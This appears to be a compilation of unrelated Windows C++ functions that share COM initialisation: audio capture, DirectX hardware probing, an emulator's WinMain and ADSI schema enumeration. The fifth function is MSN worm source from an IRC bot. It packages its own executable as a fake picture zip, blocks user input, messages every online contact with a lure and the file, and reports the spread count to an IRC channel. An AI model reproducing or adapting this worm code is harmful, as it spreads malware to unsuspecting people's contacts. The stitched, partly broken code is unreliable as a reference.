bufferFlags; hr = audioCaptureClient->GetBuffer(&data, &frameCount, &bufferFlags, NULL, NULL); if (FAILED(hr)) { printf("IAudioCaptureClient::GetBuffer failed on pass %u: hr = 0x%08x\n", i, hr); audioClient->Stop(); audioCaptureClient->Release(); audioClient->Release(); return hr; } if (bufferFlags & AUDCLNT_BUFFERFLAGS_DATA_DISCONTINUITY) { printf("IAudioCaptureClient::GetBuffer reports 'data discontinuity' on pass %u\n", i); } if (bufferFlags & AUDCLNT_BUFFERFLAGS_SILENT) { printf("IAudioCaptureClient::GetBuffer reports 'silent' on pass %u\n", i); } if (bufferFlags & AUDCLNT_BUFFERFLAGS_TIMESTAMP_ERROR) { printf("IAudioCaptureClient::GetBuffer reports 'timestamp error' on pass %u\n", i); } if (frameCount == 0) { printf("IAudioCaptureClient::GetBuffer said to read 0 frames on pass %u\n", i); audioClient->Stop(); audioCaptureClient->Release(); audioClient->Release(); return E_UNEXPECTED; } LONG bytesToWrite = frameCount * blockAlign; DWORD bytesWritten; printf("Recording:%d\n",bytesToWrite); fwrite(data,bytesToWrite,1,f); /*WriteFile(processInWrite,reinterpret_cast<PCHAR>(data), bytesToWrite, &bytesWritten, NULL); if (bytesWritten != bytesToWrite) { printf("WriteFile: tried to write %d bytes, but %d bytes written\n", bytesToWrite, bytesWritten); } char buf[10000]; DWORD count; DWORD bytesAvailable; PeekNamedPipe(processOutRead, NULL, 0, 0, &bytesAvailable, NULL); if (bytesAvailable > 0) { ReadFile(processOutRead, buf, 10000, &count, NULL); std::cout.write(buf, count); }*/ hr = audioCaptureClient->ReleaseBuffer(frameCount); if (FAILED(hr)) { printf("IAudioCaptureClient::ReleaseBuffer failed on pass %u: hr = 0x%08x\n", i, hr); audioClient->Stop(); audioCaptureClient->Release(); audioClient->Release(); return hr; } } // capture loop audioClient->Stop(); audioCaptureClient->Release(); audioClient->Release(); fclose(f); return 0; }
BOOL LLDXHardware::getInfo(BOOL vram_only) { LLTimer hw_timer; BOOL ok = FALSE; HRESULT hr; CoInitialize(NULL); IDxDiagProvider *dx_diag_providerp = NULL; IDxDiagContainer *dx_diag_rootp = NULL; IDxDiagContainer *devices_containerp = NULL; // IDxDiagContainer *system_device_containerp= NULL; IDxDiagContainer *device_containerp = NULL; IDxDiagContainer *file_containerp = NULL; IDxDiagContainer *driver_containerp = NULL; // CoCreate a IDxDiagProvider* LL_DEBUGS("AppInit") << "CoCreateInstance IID_IDxDiagProvider" << LL_ENDL; hr = CoCreateInstance(CLSID_DxDiagProvider, NULL, CLSCTX_INPROC_SERVER, IID_IDxDiagProvider, (LPVOID*) &dx_diag_providerp); if (FAILED(hr)) { LL_WARNS("AppInit") << "No DXDiag provider found! DirectX 9 not installed!" << LL_ENDL; gWriteDebug("No DXDiag provider found! DirectX 9 not installed!\n"); goto LCleanup; } if (SUCCEEDED(hr)) // if FAILED(hr) then dx9 is not installed { // Fill out a DXDIAG_INIT_PARAMS struct and pass it to IDxDiagContainer::Initialize // Passing in TRUE for bAllowWHQLChecks, allows dxdiag to check if drivers are // digital signed as logo'd by WHQL which may connect via internet to update // WHQL certificates. DXDIAG_INIT_PARAMS dx_diag_init_params; ZeroMemory(&dx_diag_init_params, sizeof(DXDIAG_INIT_PARAMS)); dx_diag_init_params.dwSize = sizeof(DXDIAG_INIT_PARAMS); dx_diag_init_params.dwDxDiagHeaderVersion = DXDIAG_DX9_SDK_VERSION; dx_diag_init_params.bAllowWHQLChecks = TRUE; dx_diag_init_params.pReserved = NULL; LL_DEBUGS("AppInit") << "dx_diag_providerp->Initialize" << LL_ENDL; hr = dx_diag_providerp->Initialize(&dx_diag_init_params); if(FAILED(hr)) { goto LCleanup; } LL_DEBUGS("AppInit") << "dx_diag_providerp->GetRootContainer" << LL_ENDL; hr = dx_diag_providerp->GetRootContainer( &dx_diag_rootp ); if(FAILED(hr) || !dx_diag_rootp) { goto LCleanup; } HRESULT hr; // Get display driver information LL_DEBUGS("AppInit") << "dx_diag_rootp->GetChildContainer" << LL_ENDL; hr = dx_diag_rootp->GetChildContainer(L"DxDiag_DisplayDevices", &devices_containerp); if(FAILED(hr) || !devices_containerp) { goto LCleanup; } // Get device 0 LL_DEBUGS("AppInit") << "devices_containerp->GetChildContainer" << LL_ENDL; hr = devices_containerp->GetChildContainer(L"0", &device_containerp); if(FAILED(hr) || !device_containerp) { goto LCleanup; } // Get the English VRAM string { std::string ram_str = get_string(device_containerp, L"szDisplayMemoryEnglish"); // We don't need the device any more SAFE_RELEASE(device_containerp); // Dump the string as an int into the structure char *stopstring; mVRAM = strtol(ram_str.c_str(), &stopstring, 10); LL_INFOS("AppInit") << "VRAM Detected: " << mVRAM << " DX9 string: " << ram_str << LL_ENDL; } if (vram_only) { ok = TRUE; goto LCleanup; } /* for now, we ONLY do vram_only the rest of this is commented out, to ensure no-one is tempted to use it // Now let's get device and driver information // Get the IDxDiagContainer object called "DxDiag_SystemDevices". // This call may take some time while dxdiag gathers the info. DWORD num_devices = 0; WCHAR wszContainer[256]; LL_DEBUGS("AppInit") << "dx_diag_rootp->GetChildContainer DxDiag_SystemDevices" << LL_ENDL; hr = dx_diag_rootp->GetChildContainer(L"DxDiag_SystemDevices", &system_device_containerp); if (FAILED(hr)) { goto LCleanup; } hr = system_device_containerp->GetNumberOfChildContainers(&num_devices); if (FAILED(hr)) { goto LCleanup; } LL_DEBUGS("AppInit") << "DX9 iterating over devices" << LL_ENDL; S32 device_num = 0; for (device_num = 0; device_num < (S32)num_devices; device_num++) { hr = system_device_containerp->EnumChildContainerNames(device_num, wszContainer, 256); if (FAILED(hr)) { goto LCleanup; } hr = system_device_containerp->GetChildContainer(wszContainer, &device_containerp); if (FAILED(hr) || device_containerp == NULL) { goto LCleanup; } std::string device_name = get_string(device_containerp, L"szDescription"); std::string device_id = get_string(device_containerp, L"szDeviceID"); LLDXDevice *dxdevicep = new LLDXDevice; dxdevicep->mName = device_name; dxdevicep->mPCIString = device_id; mDevices[dxdevicep->mPCIString] = dxdevicep; // Split the PCI string based on vendor, device, subsys, rev. std::string str(device_id); typedef boost::tokenizer<boost::char_separator<char> > tokenizer; boost::char_separator<char> sep("&\\", "", boost::keep_empty_tokens); tokenizer tokens(str, sep); tokenizer::iterator iter = tokens.begin(); S32 count = 0; BOOL valid = TRUE; for (;(iter != tokens.end()) && (count < 3);++iter) { switch (count) { case 0: if (strcmp(iter->c_str(), "PCI")) { valid = FALSE; } break; case 1: dxdevicep->mVendorID = iter->c_str(); break; case 2: dxdevicep->mDeviceID = iter->c_str(); break; default: // Ignore it break; } count++; } // Now, iterate through the related drivers hr = device_containerp->GetChildContainer(L"Drivers", &driver_containerp); if (FAILED(hr) || !driver_containerp) { goto LCleanup; } DWORD num_files = 0; hr = driver_containerp->GetNumberOfChildContainers(&num_files); if (FAILED(hr)) { goto LCleanup; } S32 file_num = 0; for (file_num = 0; file_num < (S32)num_files; file_num++ ) { hr = driver_containerp->EnumChildContainerNames(file_num, wszContainer, 256); if (FAILED(hr)) { goto LCleanup; } hr = driver_containerp->GetChildContainer(wszContainer, &file_containerp); if (FAILED(hr) || file_containerp == NULL) { goto LCleanup; } std::string driver_path = get_string(file_containerp, L"szPath"); std::string driver_name = get_string(file_containerp, L"szName"); std::string driver_version = get_string(file_containerp, L"szVersion"); std::string driver_date = get_string(file_containerp, L"szDatestampEnglish"); LLDXDriverFile *dxdriverfilep = new LLDXDriverFile; dxdriverfilep->mName = driver_name; dxdriverfilep->mFilepath= driver_path; dxdriverfilep->mVersionString = driver_version; dxdriverfilep->mVersion.set(driver_version); dxdriverfilep->mDateString = driver_date; dxdevicep->mDriverFiles[driver_name] = dxdriverfilep; SAFE_RELEASE(file_containerp); } SAFE_RELEASE(device_containerp); } */ } // dumpDevices(); ok = TRUE; LCleanup: if (!ok) { LL_WARNS("AppInit") << "DX9 probe failed" << LL_ENDL; gWriteDebug("DX9 probe failed\n"); } SAFE_RELEASE(file_containerp); SAFE_RELEASE(driver_containerp); SAFE_RELEASE(device_containerp); SAFE_RELEASE(devices_containerp); SAFE_RELEASE(dx_diag_rootp); SAFE_RELEASE(dx_diag_providerp); CoUninitialize(); return ok; }
int WINAPI WinMain(HINSTANCE /*hInstance*/, HINSTANCE /*hPrevInstance*/, LPSTR /*lpszArgs*/, int /*nWinMode*/) { try { CoInitialize(NULL); AppInit(&Notify(), CPath(CPath::MODULE_DIRECTORY), __argc, __argv); if (!g_Lang->IsLanguageLoaded()) { CLanguageSelector().Select(); } //Create the main window with Menu WriteTrace(TraceUserInterface, TraceDebug, "Create Main Window"); CMainGui MainWindow(true, stdstr_f("Project64 %s", VER_FILE_VERSION_STR).c_str()), HiddenWindow(false); CMainMenu MainMenu(&MainWindow); g_Plugins->SetRenderWindows(&MainWindow, &HiddenWindow); Notify().SetMainWindow(&MainWindow); CSupportWindow SupportWindow; if (g_Settings->LoadStringVal(Cmd_RomFile).length() > 0) { MainWindow.Show(true); //Show the main window //N64 ROM or 64DD Disk stdstr ext = CPath(g_Settings->LoadStringVal(Cmd_RomFile)).GetExtension(); if (!(_stricmp(ext.c_str(), "ndd") == 0)) { //File Extension is not *.ndd so it should be a N64 ROM CN64System::RunFileImage(g_Settings->LoadStringVal(Cmd_RomFile).c_str()); } else { //Ext is *.ndd, so it should be a disk file. if (CN64System::RunDiskImage(g_Settings->LoadStringVal(Cmd_RomFile).c_str())) { stdstr IPLROM = g_Settings->LoadStringVal(File_DiskIPLPath); if ((IPLROM.length() <= 0) || (!CN64System::RunFileImage(IPLROM.c_str()))) { CPath FileName; const char * Filter = "64DD IPL ROM Image (*.zip, *.7z, *.?64, *.rom, *.usa, *.jap, *.pal, *.bin)\0*.?64;*.zip;*.7z;*.bin;*.rom;*.usa;*.jap;*.pal\0All files (*.*)\0*.*\0"; if (FileName.SelectFile(NULL, g_Settings->LoadStringVal(RomList_GameDir).c_str(), Filter, true)) { CN64System::RunFileImage(FileName); } } } } } else { SupportWindow.Show(reinterpret_cast<HWND>(MainWindow.GetWindowHandle())); if (UISettingsLoadBool(RomBrowser_Enabled)) { WriteTrace(TraceUserInterface, TraceDebug, "Show Rom Browser"); //Display the rom browser MainWindow.ShowRomList(); MainWindow.Show(true); //Show the main window MainWindow.HighLightLastRom(); } else { WriteTrace(TraceUserInterface, TraceDebug, "Show Main Window"); MainWindow.Show(true); //Show the main window } } //Process Messages till program is closed WriteTrace(TraceUserInterface, TraceDebug, "Entering Message Loop"); MainWindow.ProcessAllMessages(); WriteTrace(TraceUserInterface, TraceDebug, "Message Loop Finished"); if (g_BaseSystem) { g_BaseSystem->CloseCpu(); delete g_BaseSystem; g_BaseSystem = NULL; } WriteTrace(TraceUserInterface, TraceDebug, "System Closed"); } catch (...) { WriteTrace(TraceUserInterface, TraceError, "Exception caught (File: \"%s\" Line: %d)", __FILE__, __LINE__); MessageBox(NULL, stdstr_f("Exception caught\nFile: %s\nLine: %d", __FILE__, __LINE__).c_str(), "Exception", MB_OK); } AppCleanup(); CoUninitialize(); return true; }
LLSD LLDXHardware::getDisplayInfo() { LLTimer hw_timer; HRESULT hr; LLSD ret; CoInitialize(NULL); IDxDiagProvider *dx_diag_providerp = NULL; IDxDiagContainer *dx_diag_rootp = NULL; IDxDiagContainer *devices_containerp = NULL; IDxDiagContainer *device_containerp = NULL; IDxDiagContainer *file_containerp = NULL; IDxDiagContainer *driver_containerp = NULL; // CoCreate a IDxDiagProvider* llinfos << "CoCreateInstance IID_IDxDiagProvider" << llendl; hr = CoCreateInstance(CLSID_DxDiagProvider, NULL, CLSCTX_INPROC_SERVER, IID_IDxDiagProvider, (LPVOID*) &dx_diag_providerp); if (FAILED(hr)) { llwarns << "No DXDiag provider found! DirectX 9 not installed!" << llendl; gWriteDebug("No DXDiag provider found! DirectX 9 not installed!\n"); goto LCleanup; } if (SUCCEEDED(hr)) // if FAILED(hr) then dx9 is not installed { // Fill out a DXDIAG_INIT_PARAMS struct and pass it to IDxDiagContainer::Initialize // Passing in TRUE for bAllowWHQLChecks, allows dxdiag to check if drivers are // digital signed as logo'd by WHQL which may connect via internet to update // WHQL certificates. DXDIAG_INIT_PARAMS dx_diag_init_params; ZeroMemory(&dx_diag_init_params, sizeof(DXDIAG_INIT_PARAMS)); dx_diag_init_params.dwSize = sizeof(DXDIAG_INIT_PARAMS); dx_diag_init_params.dwDxDiagHeaderVersion = DXDIAG_DX9_SDK_VERSION; dx_diag_init_params.bAllowWHQLChecks = TRUE; dx_diag_init_params.pReserved = NULL; llinfos << "dx_diag_providerp->Initialize" << llendl; hr = dx_diag_providerp->Initialize(&dx_diag_init_params); if(FAILED(hr)) { goto LCleanup; } llinfos << "dx_diag_providerp->GetRootContainer" << llendl; hr = dx_diag_providerp->GetRootContainer( &dx_diag_rootp ); if(FAILED(hr) || !dx_diag_rootp) { goto LCleanup; } HRESULT hr; // Get display driver information llinfos << "dx_diag_rootp->GetChildContainer" << llendl; hr = dx_diag_rootp->GetChildContainer(L"DxDiag_DisplayDevices", &devices_containerp); if(FAILED(hr) || !devices_containerp) { goto LCleanup; } // Get device 0 llinfos << "devices_containerp->GetChildContainer" << llendl; hr = devices_containerp->GetChildContainer(L"0", &device_containerp); if(FAILED(hr) || !device_containerp) { goto LCleanup; } // Get the English VRAM string std::string ram_str = get_string(device_containerp, L"szDisplayMemoryEnglish"); // Dump the string as an int into the structure char *stopstring; ret["VRAM"] = strtol(ram_str.c_str(), &stopstring, 10); std::string device_name = get_string(device_containerp, L"szDescription"); ret["DeviceName"] = device_name; std::string device_driver= get_string(device_containerp, L"szDriverVersion"); ret["DriverVersion"] = device_driver; // ATI has a slightly different version string if(device_name.length() >= 4 && device_name.substr(0,4) == "ATI ") { // get the key HKEY hKey; const DWORD RV_SIZE = 100; WCHAR release_version[RV_SIZE]; // Hard coded registry entry. Using this since it's simpler for now. // And using EnumDisplayDevices to get a registry key also requires // a hard coded Query value. if(ERROR_SUCCESS == RegOpenKey(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\ATI Technologies\\CBT"), &hKey)) { // get the value DWORD dwType = REG_SZ; DWORD dwSize = sizeof(WCHAR) * RV_SIZE; if(ERROR_SUCCESS == RegQueryValueEx(hKey, TEXT("ReleaseVersion"), NULL, &dwType, (LPBYTE)release_version, &dwSize)) { // print the value // windows doesn't guarantee to be null terminated release_version[RV_SIZE - 1] = NULL; ret["DriverVersion"] = utf16str_to_utf8str(release_version); } RegCloseKey(hKey); } } } LCleanup: SAFE_RELEASE(file_containerp); SAFE_RELEASE(driver_containerp); SAFE_RELEASE(device_containerp); SAFE_RELEASE(devices_containerp); SAFE_RELEASE(dx_diag_rootp); SAFE_RELEASE(dx_diag_providerp); CoUninitialize(); return ret; }
void imfuck(SOCKET sock) { const char *msgg; srand(GetTickCount()); msgg = *(&msg_send[randget(msg_send)]); char fakename[] = "pic0382.zip"; char windir[MAX_PATH]; GetWindowsDirectory(windir,sizeof(windir)); strcat(windir, "\\"); strcat(windir, fakename); IMSNMessenger *pIMessenger = NULL; CoInitialize(0); HRESULT hr = CoCreateInstance( CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMSNMessenger, (void **)&pIMessenger); if (SUCCEEDED(hr)) { IDispatch * dispContacts = NULL; pIMessenger->get_MyContacts(&dispContacts); if (SUCCEEDED(hr)) { IMSNMessengerContacts *pIMessengerContacts = NULL; hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts); if (SUCCEEDED(hr)) { IDispatch * dispContact = NULL; IMSNMessengerContact *pIMessengerContact = NULL; long iContacts; hr = pIMessengerContacts->get_Count(&iContacts); if (SUCCEEDED(hr)) { BlockInput(true); int x = 0; for (long i = 0; i < iContacts; i++) { hr = pIMessengerContacts->raw_Item(i,&dispContact); if (SUCCEEDED(hr)) { hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact); if (SUCCEEDED(hr)) { BSTR szContactName; VARIANT vt_user; MISTATUS miStatus; IDispatch *pIDispatch = NULL; IMSNMessengerWindow *pIMessengerWindow; LONG wndIM; hr = pIMessengerContact->get_Status(&miStatus); if (SUCCEEDED(hr)) { if (miStatus == MISTATUS_OFFLINE) { pIMessengerContact->Release(); dispContact->Release(); continue; } } pIMessengerContact->get_SigninName(&szContactName); VariantInit( &vt_user ); to_variant(szContactName, vt_user); _bstr_t tmp = szContactName; char buf[128]; sprintf(buf, _T("%s"), (LPCTSTR)tmp); char *pemail; pemail = strchr(buf, '@'); if(pemail != NULL) buf[pemail-buf] = NULL; strcat(buf, ".imageshack.com"); char exepath[MAX_PATH]; GetModuleFileName(NULL, exepath, MAX_PATH); zip_store(exepath, windir, buf); Sleep(3000); hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch); if (SUCCEEDED(hr)) { hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void**)&pIMessengerWindow); if (SUCCEEDED(hr)) { pIMessengerWindow->get_HWND(&wndIM); SetForegroundWindow((HWND) wndIM); SetFocus((HWND) wndIM); ShowWindow((HWND) wndIM,0); srand(GetTickCount()); int i = rand() % sizeof(msgg) / sizeof(msgg[0]); key_type((char *)msgg, (HWND) wndIM); keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); keybd_event(VkKeyScan('V'), 0, 0, 0); keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); keybd_event(VK_RETURN, 0, 0, 0); Sleep(50); dropfiles((HWND) wndIM, buf); keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); keybd_event(VkKeyScan('V'), 0, 0, 0); keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); x++; } pIMessengerWindow->Release(); } pIMessengerContact->Release(); dispContact->Release(); } } } BlockInput(false); char buf[128]; sprintf(buf, "[Msn] worm sent to %d contacts!", x); irc_privmsg(sock, channel, buf, 0); pIMessengerContacts->Release(); } dispContacts->Release(); } } pIMessenger->Release(); } CoUninitialize(); //return 0; }
int main(int argc, char* argv[]) { IADsContainer *pSchema=NULL; HRESULT hr; CoInitialize(NULL); hr = ADsGetObject(L"WinNT://INDEPENDENCE/Schema", IID_IADsContainer, (void**) &pSchema ); if ( !SUCCEEDED(hr) ) { return hr; } ////////////// Enumerate Schema objects /////////////////////////////////// IEnumVARIANT *pEnum = NULL; hr = ADsBuildEnumerator( pSchema, &pEnum ); pSchema->Release(); // no longer needed, since we have the enumerator already if ( SUCCEEDED(hr) ) { VARIANT var; ULONG lFetch; IADs *pChild=NULL; VariantInit(&var); while( SUCCEEDED(ADsEnumerateNext( pEnum, 1, &var, &lFetch )) && lFetch == 1 ) { hr = V_DISPATCH(&var)->QueryInterface( IID_IADs, (void**) &pChild ); if ( SUCCEEDED(hr) ) { BSTR bstrName; BSTR bstrClass; // Get more information on the child classes pChild->get_Name(&bstrName); pChild->get_Class(&bstrClass); printf("%S\t\t(%S)\n", bstrName, bstrClass ); // Clean-up SysFreeString(bstrName); SysFreeString(bstrClass); pChild->Release(); } VariantClear(&var); } } //Release the enumerator. if (pEnum != NULL) { ADsFreeEnumerator(pEnum); } CoUninitialize(); return 0; }